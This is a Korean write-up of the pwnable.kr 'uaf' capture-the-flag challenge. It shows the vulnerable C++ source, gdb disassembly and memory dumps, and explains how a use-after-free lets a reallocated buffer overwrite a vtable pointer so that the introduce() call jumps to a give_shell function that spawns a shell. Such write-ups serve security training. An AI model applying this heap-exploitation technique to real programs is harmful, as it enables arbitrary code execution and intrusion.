[Pwnable.kr] uaf 풀이 (8pt)
풀이
Use After Free 취약점을 아는지 물어보는 문제이다. (나는 뭔지 몰라서 찾아봤다.)
다음은 uaf.cpp의 코드이다.
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
오랜만에 보는 C++ 코드다.
모든 함수에 대해 알 필요는 없고, 풀이에 필요한 코드는 다음 부분이다.
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
입력 값이 1이면, Class에 introduce 함수를 실행한다.
입력 값이 2이면, argv[1]만큼 data를 할당하고 argv[2] 경로에 있는 값을 읽어 data에 저장한다.
입력 값이 3이면 m, w 객체를 삭제한다. (free)
먼저 /tmp 밑 경로에 아무 텍스트나 입력하고, uaf에 넣어보자. 나는 AAAA를 넣고 돌려봤다.
uaf@pwnable:~$ python -c 'print "AAAA"' | cat > /tmp/bjloed_uaf/AAAA
먼저 switch문에 해당하는 어셈을 찾아보도록 하자.
참고로, set print asm-demangle on을 해주면, gdb C++ 출력 스타일을 바꿀 수 있다.
0x0000000000400fb2 <+238>: mov eax,DWORD PTR [rbp-0x18]
0x0000000000400fb5 <+241>: cmp eax,0x2
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp eax,0x3
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
eax에 해당하는 값(1,2,3)에 따라 분기점이 나뉘는 걸 봐서는, 해당 부분이 switch문 인듯하다.
3번은 볼 필요가 없을 듯하니, 1번부터 봐보자. main+265번째에 해당하는 곳으로 이동하자.
0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
0x0000000000400ffb <+311>: jmp 0x4010a9 <main+485>
먼저 main+269에 bp를 걸고, rax의 값을 봐보자.
Breakpoint 1, 0x0000000000400fd1 in main ()
(gdb) i r rax
rax 0x11b9c50 18586704
0x11b9c50이라는 값이 들어가있다. 해당 주소는 무슨 값을 가리키고 있는지 확인해보자.
(gdb) x/16x 0x11b9c50
0x11b9c50: 0x00401570 0x00000000 0x00000019 0x00000000
0x401570이라는 값이 들어가있다. 또 무슨 값을 가리키고 있는지 확인해보자.
(gdb) x/16x 0x401570
0x401570 <vtable for Man+16>: 0x0040117a 0x00000000 0x004012d2 0x00000000
0x40117a라는 값을 확인해보니, 우리가 찾던 give_shell 함수의 주소임을 알 수 있었다.
(gdb) x/16x 0x40117a
0x40117a <Human::give_shell()>: 0xe5894855 0x10ec8348 0xf87d8948 0x4014a8bf
이제 give_shell 함수의 주소를 알았으니, 우리가 입력한 값이 어디로 저장되는지 알아야한다.
아마도, rbp-0x38가 가리키고 있는 주소에 있을 듯하나, 혹시 모르니 확인해보자.
값을 free하고 재할당 해준 후, 확인해보자.
(참고로 2를 1번만 선택했을 경우에는, 왜인지 모르겠지만 빈 값이 들어가있다. 2번 해줘야 정상적으로 들어간다.)
0x0000000000400fd4 in main ()
(gdb) i r
rax 0x41414141 1094795585
해당 부분에 bp를 걸고 확인해보니, 역시 맞았다.
코드를 보아하니, m->introduce()를 실행시키기 전, rax에 0x8 값을 더해준다.
그렇다면 입력 부분에 give_shell 함수에서 0x8만큼 빼준 주소를 넣어주면 m->introduce()가 give_shell을 가리킬 것이다.
참고로 /tmp/bjloed_uaf/AAAA에는 AAAA가 아닌 give_shell 함수 주소에서 0x8만큼 뺀 주소가 적혀있다.